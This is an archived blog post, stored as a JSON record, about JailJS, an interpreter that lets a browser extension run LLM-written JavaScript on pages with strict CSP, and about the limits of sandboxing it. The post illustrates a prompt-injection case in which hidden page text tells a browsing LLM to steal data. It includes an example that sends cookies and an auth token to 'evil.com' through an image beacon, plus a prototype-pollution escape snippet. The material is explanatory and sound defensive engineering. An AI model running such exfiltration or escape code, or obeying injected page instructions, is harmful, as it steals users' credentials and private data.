class=\"syntax-punctuation syntax-separator syntax-comma syntax-js\">,</span>\n    <span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-meta syntax-object-literal syntax-key syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">fillInput</span></span><span class=\"syntax-punctuation syntax-separator syntax-key-value syntax-js\">:</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">selector</span><span class=\"syntax-punctuation syntax-separator syntax-parameter syntax-function syntax-js\">,</span> <span class=\"syntax-variable syntax-parameter syntax-function syntax-js\">value</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span><span class=\"syntax-storage syntax-type syntax-function syntax-arrow syntax-js\">=&gt;</span></span> <span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n        <span class=\"syntax-storage syntax-type syntax-js\">const</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">input</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-support syntax-type syntax-object syntax-dom syntax-js\">document</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">querySelector</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">selector</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n        <span class=\"syntax-meta syntax-conditional syntax-js\"><span class=\"syntax-keyword syntax-control syntax-conditional syntax-js\">if</span> <span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">input</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span> </span><span class=\"syntax-variable syntax-other syntax-object syntax-js\">input</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\">value</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">value</span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n    <span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n</span></span></code></pre>\n<p>The downside to this is that you still have to be very mindful of what you expose in your custom API. And in the LLM use case, you have to explicitly teach the LLM about your custom API. This may not work as well as the LLM just calling into DOM APIs, which it knows about from its vast training set.</p>\n<p>That leaves us with ways to escape the interpreter and access the surrounding JavaScript execution environment through things like prototype pollution. For example:</p>\n<pre><code class=\"language-javascript\"><span class=\"code-snippet\" data-language=\"JavaScript\"><span class=\"syntax-source syntax-js\"><span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Code to be interpreted - pollutes Array prototype to escape\n</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-support syntax-class syntax-js\">Array</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-support syntax-constant syntax-prototype syntax-js\">prototype</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-property syntax-object syntax-js\"><span class=\"syntax-entity syntax-name syntax-function syntax-js\">push</span></span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> </span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"><span class=\"syntax-storage syntax-type syntax-function syntax-js\">function</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-begin syntax-js\">(</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-end syntax-js\">)</span><span class=\"syntax-meta syntax-function syntax-declaration syntax-js\"> </span></span><span class=\"syntax-meta syntax-block syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">{</span>\n    <span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Now we have access to &#39;this&#39; which is a real Array\n</span>    <span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> We can walk up to get the global scope (if CSP allows eval)\n</span>    <span class=\"syntax-keyword syntax-control syntax-flow syntax-js\">return</span> <span class=\"syntax-variable syntax-language syntax-this syntax-js\">this</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-variable syntax-language syntax-constructor syntax-js\">constructor</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-variable syntax-function syntax-js\">constructor</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-string syntax-quoted syntax-single syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-string syntax-begin syntax-js\">&#39;</span>return this<span class=\"syntax-punctuation syntax-definition syntax-string syntax-end syntax-js\">&#39;</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-punctuation syntax-section syntax-block syntax-js\">}</span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n\n<span class=\"syntax-storage syntax-type syntax-js\">var</span> <span class=\"syntax-variable syntax-other syntax-readwrite syntax-js\">arr</span> <span class=\"syntax-keyword syntax-operator syntax-assignment syntax-js\">=</span> <span class=\"syntax-meta syntax-sequence syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">[</span><span class=\"syntax-punctuation syntax-section syntax-brackets syntax-js\">]</span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span>\n<span class=\"syntax-variable syntax-other syntax-object syntax-js\">arr</span><span class=\"syntax-punctuation syntax-accessor syntax-js\">.</span><span class=\"syntax-meta syntax-function-call syntax-method syntax-js\"><span class=\"syntax-support syntax-function syntax-mutator syntax-js\">push</span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">(</span></span><span class=\"syntax-meta syntax-group syntax-js\"><span class=\"syntax-punctuation syntax-section syntax-group syntax-js\">)</span></span></span><span class=\"syntax-punctuation syntax-terminator syntax-statement syntax-js\">;</span> <span class=\"syntax-comment syntax-line syntax-double-slash syntax-js\"><span class=\"syntax-punctuation syntax-definition syntax-comment syntax-js\">//</span> Returns window/globalThis\n</span></span></span></code></pre>\n<p>JailJS, my little JavaScript interpreter library, does prevent this specific case and others. But as I said, there's a million attack vectors and it's very, very hard to enumerate all of them while keeping the full ES5 feature set. <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://github.com/nyariv/SandboxJS\">SandboxJS</a> has a stricter approach to securing the sandbox and could be a good alternative. However, there are some <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://github.com/nyariv/SandboxJS/issues/27\">deal-breaking bugs</a>. Maybe I can steal their sandbox technology.</p>\n<h2>JailJS: It just works (mostly)</h2>\n<p><a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://github.com/badlogic/jailjs\">JailJS</a> is my contribution to a less safe world. Here is <a target=\"_blank\" rel=\"noopener noreferrer\" href=\"https://github.com/badlogic/jailjs/tree/main/example/chrome-extension\">JailJS used by a demo browser extension</a> to manipulate the site that shall not be named, which has a very strict CSP.</p>\n<p>It does succeed in solving my first problem, that is executing arbitrary code injected from an extension into a page with a CSP that disallows eval or script tags. Where it does fail is that it cannot 100% rule out that the arbitrary code can escape the sandbox and exfiltrate sensitive data.</p>\n<p>You win some, you lose some.</p>\n<p>This page respects your privacy by not using cookies or similar technologies and by not collecting any personally identifiable information.</p>\n",
  "content_markdown": "![](https://mariozechner.at/posts/2025-10-05-jailjs/media/footgun.webp)\\\nMe, coding\n\n- [I got 99 problems but... now I got even more](https://mariozechner.at/posts/2025-10-05-jailjs#toc_0)\n- [A matter of interpretation](https://mariozechner.at/posts/2025-10-05-jailjs#toc_1)\n- [Nitty gritty details](https://mariozechner.at/posts/2025-10-05-jailjs#toc_2)\n- [Putting the sand in the sandbox](https://mariozechner.at/posts/2025-10-05-jailjs#toc_3)\n- [JailJS: It just works (mostly)](https://mariozechner.at/posts/2025-10-05-jailjs#toc_4)\n\nThursday I had a wisdom tooth extraction and I still feel unwell. Thank you for asking. Before this unfortunate event, I worked on a little browser extension that lets me navigate the web in the browser together with an LLM, which is hosted in the browser extension's side panel. Here you can see it in action. Check out the rest of my YouTube channel, there are more demonstrations there.\n\n[YouTube video player](https://www.youtube.com/watch?v=kc8YL3P4LUc)\n\nThe LLM has a tool that can inject any sort of JavaScript into the active page to get its contents, manipulate it, click on buttons, and so on and so forth. One nice use case, for example, is to let it use Google directly instead of something like [Exa](https://exa.ai/), navigate the web, and collect information for me, then spit it out as a nicely formatted markdown file. Not only do I get the markdown file, but I also have full observability of what exactly it read and can follow its traces in the browser history.\n\n## I got 99 problems but... now I got even more\n\nNow the problem with this is that the LLM can write any old code that gets executed in the current page's JavaScript context. This implies that it has full access to anything on that page, not only the DOM, but also local storage, non-HTTP only cookies, IndexedDB, and other possibly sensitive information. Exfiltrating that data to an adversary is only a fetch call or an image with a source attribute away. So why would it do that? I surely wouldn't instruct my LLM to send my sensitive data to an adversary.\n\nWell, LLMs can get [prompt injected](https://simonwillison.net/2023/Apr/14/worst-that-can-happen/), and it's easier than you think. It still affects all [current SOTA LLMs](https://www.anthropic.com/news/claude-for-chrome). As you navigate the web with your trusty LLM, you might visit a page with some invisible content that instructs the LLM to exfiltrate data the next time you visit your bank or social media account. And if you are not observing what your LLM is doing, your data might get stolen.\n\nThat's one problem. The other problem is that there is something called [Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP), which you might have heard of if you've ever worked with web technologies. CSP lets sites define what sources JavaScript can execute from, whether inline scripts or eval are allowed, and which URLs external scripts can be loaded from. And CSP can prevent my browser extension from injecting the LLM generated code into the site. It's a pretty common practice, especially among bigger sites like social media sites, search engine sites, and so on.\n\nUsing the Chrome extension API as an example, here's how we can run a function defined inside of our extension in the currently active tab:\n\n```javascript\n// Browser extension code\nfunction myPredefinedFunction() {\n    return document.title;\n}\n\nconst [tab] = await chrome.tabs.query({ active: true, currentWindow: true });\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: myPredefinedFunction\n});\n```\n\nThis actually works on any site, irrespective of its CSP. The reason for that is that the function is statically defined in the extension, and it is serializable. That means it has no external dependencies on other functions in the extension or third-party code imported from modules.\n\nSo far so good, but this only handles functions defined statically in our extension. How about arbitrary code that gets generated at runtime by a user, like in [Tampermonkey](https://www.tampermonkey.net/), or by an LLM, like in my extension above? Here's how that could look like:\n\n```javascript\n// Using eval\nconst userCode = `console.log(document.title)`;\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: (code) => eval(code),\n    args: [userCode]\n});\n\n// Using new Function\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: (code) => new Function(code)(),\n    args: [userCode]\n});\n\n// Injecting a script tag\nchrome.scripting.executeScript({\n    target: { tabId: tab.id },\n    func: (code) => {\n        const script = document.createElement('script');\n        script.textContent = code;\n        document.body.appendChild(script);\n    },\n    args: [userCode]\n});\n```\n\nThese can work depending on the CSP of the site, but as I said, on bigger sites, these are usually super not allowed. So how can we make this work?\n\n## A matter of interpretation\n\nSo how can we make code dynamically defined at runtime by a user or an LLM statically defined? Well, we really can't. But what we can statically define is a parser and interpreter that takes that string of code and interprets it. If you want to learn more about interpreters, I suggest reading Bob Nystrom's [Crafting Interpreters](https://craftinginterpreters.com/). It's an especially accessible book on the matter of parsing, compilation, and interpretation, especially compared to the books that I learned from, like the Dragon Book.\n\nWe can define a simple interface for our interpreter that looks like this:\n\n```javascript\nimport { Interpreter, parse } from '@mariozechner/jailjs';\n\nconst ast = parse('2 + 2');\nconst interpreter = new Interpreter();\nconst result = interpreter.evaluate(ast);\n```\n\nLet's totally ignore what `parse` and `interpreter.evaluate` do on the inside. All we need to know at this stage is that `parse` returns an [abstract syntax tree](https://en.wikipedia.org/wiki/Abstract_syntax_tree). That is the input to the interpreter, which then walks this tree structure and evaluates each node within it, simulating what the JavaScript engine would do, just in a very, very slow way. In the above example, `result` would be assigned the number four, which is the evaluation result of the JavaScript code.\n\nSo how can we jam the parser and interpreter into a self-contained function that we can execute via `chrome.scripting.executeScript` in the active tab's JavaScript context?\n\nThe trick is to use a content script. Content scripts are JavaScript files that run in the context of web pages, and they can be bundled with all their dependencies using a tool like esbuild. We bundle the parser and interpreter into our content script, which gets loaded for every page. The content script then sets up a message listener that receives code to execute and returns the result.\n\nHere's the minimal setup:\n\n```javascript\n// content.js - bundled with parser and interpreter\nimport { Interpreter, parse } from '@mariozechner/jailjs';\n\nconst interpreter = new Interpreter();\n\nchrome.runtime.onMessage.addListener((message, sender, sendResponse) => {\n    if (message.type === 'EXECUTE_CODE') {\n        try {\n            const ast = parse(message.code);\n            const result = interpreter.evaluate(ast);\n            sendResponse({ success: true, result });\n        } catch (error) {\n            sendResponse({ success: false, error: error.message });\n        }\n    }\n    return true; // Keep channel open for async response\n});\n```\n\nAnd from our extension's side panel or popup, we send the code:\n\n```javascript\n// Send code to content script\nconst [tab] = await chrome.tabs.query({ active: true, currentWindow: true });\nconst response = await chrome.tabs.sendMessage(tab.id, {\n    type: 'EXECUTE_CODE',\n    code: userCode\n});\n\nif (response.success) {\n    console.log('Result:', response.result);\n}\n```\n\nAnd that's the basic setup. The content.js file is all static, the interpreter is all static and known ahead of time. But it lets us execute arbitrary code, albeit slowly, irrespective of the site's CSP. We are not using eval, new Function, or a script tag.\n\nCongratulations us, we just broke the web.\n\n## Nitty gritty details\n\nAlright, let's look inside `parse` and the interpreter. Starting with parsing, while I am a madman, I'm not mad enough to write a JavaScript parser. Instead, I'm using the marvelous work of the [Babel](https://babeljs.io/) team, who have graciously created a wonderful little standalone package, [Babel standalone](https://babeljs.io/docs/babel-standalone), which makes parsing JavaScript into a well-defined abstract syntax tree easy as pie.\n\nHere's what the AST for a simple program looks like:\n\n```javascript\nvar x = 5;\nvar y = 10;\nx + y\n```\n\n```json\n[\n  {\n    \"type\": \"VariableDeclaration\",\n    \"kind\": \"var\",\n    \"id\": \"x\",\n    \"init\": { \"type\": \"NumericLiteral\", \"value\": 5 }\n  },\n  {\n    \"type\": \"VariableDeclaration\",\n    \"kind\": \"var\",\n    \"id\": \"y\",\n    \"init\": { \"type\": \"NumericLiteral\", \"value\": 10 }\n  },\n  {\n    \"type\": \"ExpressionStatement\",\n    \"expression\": {\n      \"type\": \"BinaryExpression\",\n      \"left\": { \"type\": \"Identifier\", \"name\": \"x\" },\n      \"operator\": \"+\",\n      \"right\": { \"type\": \"Identifier\", \"name\": \"y\" }\n    }\n  }\n]\n```\n\nThe AST consists of nodes where each node represents a language concept like a variable declaration, a binary expression like an addition, numeric literals, identifiers, function calls, and so on. How do we know which AST node types are available? Well, that depends on the flavor of JavaScript we are trying to compile. The most basic standardized version of JavaScript is ECMAScript 5 from 2009, which is still widely used as a baseline.\n\nThe wonderful people of the [ESTree project](https://github.com/estree/estree/blob/master/es5.md) have documented which AST nodes we can expect for ES5. So to build an interpreter, all that's left is to have a big fat switch statement that interprets, that is, executes each type of AST node recursively.\n\nHere's a simplified version of what that looks like:\n\n```javascript\nfunction evaluate(node, scope) {\n    switch (node.type) {\n        case \"NumericLiteral\":\n            return node.value;\n\n        case \"Identifier\":\n            return scope.getVariable(node.name);\n\n        case \"BinaryExpression\":\n            const left = evaluate(node.left, scope);\n            const right = evaluate(node.right, scope);\n            switch (node.operator) {\n                case \"+\": return left + right;\n                case \"-\": return left - right;\n                case \"*\": return left * right;\n                case \"/\": return left / right;\n                // ... more operators\n            }\n\n        case \"VariableDeclaration\":\n            for (const decl of node.declarations) {\n                const value = decl.init ? evaluate(decl.init, scope) : undefined;\n                scope.declareVariable(decl.id.name, value);\n            }\n            return undefined;\n\n        // ... 50+ more cases for all ES5 features\n    }\n}\n```\n\nThe `scope` parameter keeps track of variables and their values. Each function creates a new scope that can access variables from its parent scope, forming a chain. When you look up a variable, you start in the current scope and walk up the chain to the global scope. If you can't find it, you throw an error that the variable is undefined.\n\nNow, again, I suggest reading Bob's book. And if you're brave, you can look at the [actual interpreter code](https://github.com/badlogic/jailjs/blob/main/src/interpreter.ts) that powers JailJS (the little interpreter project this blog post is actually about). As you can see, it's a little bit more involved than the above examples make it out to be, but it's also not rocket science.\n\nThe interpreter actually handles all of the ES5 spec. Through the power of Babel's transpiler, we can also take ES6+ or even TypeScript or JSX code and have it compiled down to ES5 so our interpreter can run that too. That means we can also use async/await, classes, and other ES6+ features. That said, in its current iteration, the interpreter cannot deal with some more advanced ES6+ features like generators, ES6 modules, Proxies, Reflect, WeakRef, SharedArrayBuffer, or Atomics.\n\nBut wait, wasn't this supposed to be kind of like a sandbox from which the LLM shouldn't be able to escape like a demented Houdini?\n\n## Putting the sand in the sandbox\n\nThe key to sandboxing is controlling what the interpreted code has access to. Remember that `scope` parameter we pass to the interpreter? We can populate it with exactly the APIs we want the code to have access to, and nothing more. The code being interpreted can't reach out into the surrounding JavaScript execution environment and access things we didn't explicitly provide. Well, at least that's the theory.\n\nBy default, JailJS provides a minimal set of globals: `console`, `Math`, `JSON`, `Date`, `RegExp`, basic constructors like `Array` and `Object`, error types, and global functions like `parseInt` and `parseFloat`. Notably absent are `window`, `document`, `fetch`, and other browser APIs. And critically, `Function` and `eval` are blocked to prevent the code from breaking out of the sandbox.\n\nBut we can inject additional APIs as needed. For example, in the extension use case, we can inject `document` so the LLM-generated code can interact with the DOM, like reading DOM contents, clicking buttons, or modifying DOM elements:\n\n```javascript\nconst interpreter = new Interpreter({\n    document: document,\n    console: console\n});\n```\n\nAstute readers will immediately see the problem with that. Let me illustrate what a prompt-injected LLM could generate:\n\n```javascript\n// Code to be interpreted - exfiltrates sensitive data\nvar cookies = document.cookie;\nvar win = document.defaultView;\nvar localStorage = win.localStorage.getItem('auth_token');\n\n// Send to evil server via image beacon\nvar img = document.createElement('img');\nimg.src = 'https://evil.com/steal?data=' + encodeURIComponent(cookies + '|' + localStorage);\ndocument.body.appendChild(img);\n```\n\nNow we can play a cat and mouse game and try to expose `document` while preventing access to specific properties on it, like `defaultView` which gives access to the global `window` object, which in turn gives access to local storage and cookies:\n\n```javascript\nconst proxiedDoc = new Proxy(document, {\n    get(target, prop) {\n        if (prop === 'defaultView' || prop === 'ownerDocument') {\n            return undefined;\n        }\n        const value = target[prop];\n        return typeof value === 'function' ? value.bind(target) : value;\n    }\n});\n\nconst interpreter = new Interpreter({\n    document: proxiedDoc\n});\n```\n\nBut ultimately, this is a Sisyphean task, and we are bound to fail gloriously. There's basically an infinite amount of attack vectors we would need to patch, which is really fucking hard.\n\nThe alternative is to not expose native objects like `document` directly, but instead expose custom-defined functions for specific tasks. For example, instead of giving full DOM access, we could provide:\n\n```javascript\nconst interpreter = new Interpreter({\n    // Safe, limited API\n    getPageText: () => document.body.innerText,\n    findButtons: () => Array.from(document.querySelectorAll('button')).map(b => b.innerText),\n    clickButton: (text) => {\n        const btn = Array.from(document.querySelectorAll('button'))\n            .find(b => b.innerText === text);\n        if (btn) btn.click();\n    },\n    fillInput: (selector, value) => {\n        const input = document.querySelector(selector);\n        if (input) input.value = value;\n    }\n});\n```\n\nThe downside to this is that you still have to be very mindful of what you expose in your custom API. And in the LLM use case, you have to explicitly teach the LLM about your custom API. This may not work as well as the LLM just calling into DOM APIs, which it knows about from its vast training set.\n\nThat leaves us with ways to escape the interpreter and access the surrounding JavaScript execution environment through things like prototype pollution. For example:\n\n```javascript\n// Code to be interpreted - pollutes Array prototype to escape\nArray.prototype.push = function() {\n    // Now we have access to 'this' which is a real Array\n    // We can walk up to get the global scope (if CSP allows eval)\n    return this.constructor.constructor('return this')();\n};\n\nvar arr = [];\narr.push(); // Returns window/globalThis\n```\n\nJailJS, my little JavaScript interpreter library, does prevent this specific case and others. But as I said, there's a million attack vectors and it's very, very hard to enumerate all of them while keeping the full ES5 feature set. [SandboxJS](https://github.com/nyariv/SandboxJS) has a stricter approach to securing the sandbox and could be a good alternative. However, there are some [deal-breaking bugs](https://github.com/nyariv/SandboxJS/issues/27). Maybe I can steal their sandbox technology.\n\n## JailJS: It just works (mostly)\n\n[JailJS](https://github.com/badlogic/jailjs) is my contribution to a less safe world. Here is [JailJS used by a demo browser extension](https://github.com/badlogic/jailjs/tree/main/example/chrome-extension) to manipulate the site that shall not be named, which has a very strict CSP.\n\nIt does succeed in solving my first problem, that is executing arbitrary code injected from an extension into a page with a CSP that disallows eval or script tags. Where it does fail is that it cannot 100% rule out that the arbitrary code can escape the sandbox and exfiltrate sensitive data.\n\nYou win some, you lose some.\n\nThis page respects your privacy by not using cookies or similar technologies and by not collecting any personally identifiable information.\n",
  "dateCreated": "2026-09-27T19:29:15.293681927+00:00",
  "date_created": "2025-10-05T00:00:00+00:00",
  "date_modified": "2025-10-05T00:00:00+00:00",
  "date_published": "2025-10-05T00:00:00+00:00",
  "description": "Building a JavaScript AST interpreter in JavaScript: scope isolation, ES5 implementation, and all the footguns along the way.",
  "external_url": "https://mariozechner.at/posts/2025-10-05-jailjs",
  "git": {
    "commit": "ebb0941c5c06a2ab2377342d607535262a3e969e",
    "path": "items/mariozechner-at/2025/10/2025-10-05-infinite-footguns-writing-a-javascript-interpreter-in.md",
    "permalink": "https://github.com/aymericbeaumet/aggr-instance/blob/ebb0941c5c06a2ab2377342d607535262a3e969e/items/mariozechner-at/2025/10/2025-10-05-infinite-footguns-writing-a-javascript-interpreter-in.md"
  },
  "id": "urn:aggr:item:b36135609e155fa306b194998981a6de43fe2f9e",
  "isBasedOn": {
    "@id": "https://mariozechner.at/posts/2025-10-05-jailjs"
  },
  "mainEntity": {
    "@id": "https://mariozechner.at/posts/2025-10-05-jailjs",
    "@type": "CreativeWork",
    "archivedAt": {
      "@id": "https://aggr.aymericbeaumet.com/items/mariozechner-at/2025-10-05-infinite-footguns-writing-a-javascript-interpreter-in/#webpage"
    },
    "dateModified": "2025-10-05T00:00:00+00:00",
    "datePublished": "2025-10-05T00:00:00+00:00",
    "headline": "Infinite Footguns: Writing a JavaScript Interpreter in JavaScript",
    "timeRequired": "PT11M",
    "url": "https://mariozechner.at/posts/2025-10-05-jailjs",
    "wordCount": 2383
  },
  "name": "Archived snapshot: Infinite Footguns: Writing a JavaScript Interpreter in JavaScript",
  "preview": null,
  "reading_minutes": 11,
  "replicated_at": null,
  "source": "mariozechner-at",
  "source_name": "{ Mario Zechner }",
  "summary": "Building a JavaScript AST interpreter in JavaScript: scope isolation, ES5 implementation, and all the footguns along the way.",
  "tags": [],
  "temporalCoverage": "2026-09-27T19:29:15.293681927+00:00",
  "title": "Infinite Footguns: Writing a JavaScript Interpreter in JavaScript",
  "url": "https://aggr.aymericbeaumet.com/items/mariozechner-at/2025-10-05-infinite-footguns-writing-a-javascript-interpreter-in/",
  "word_count": 2383
}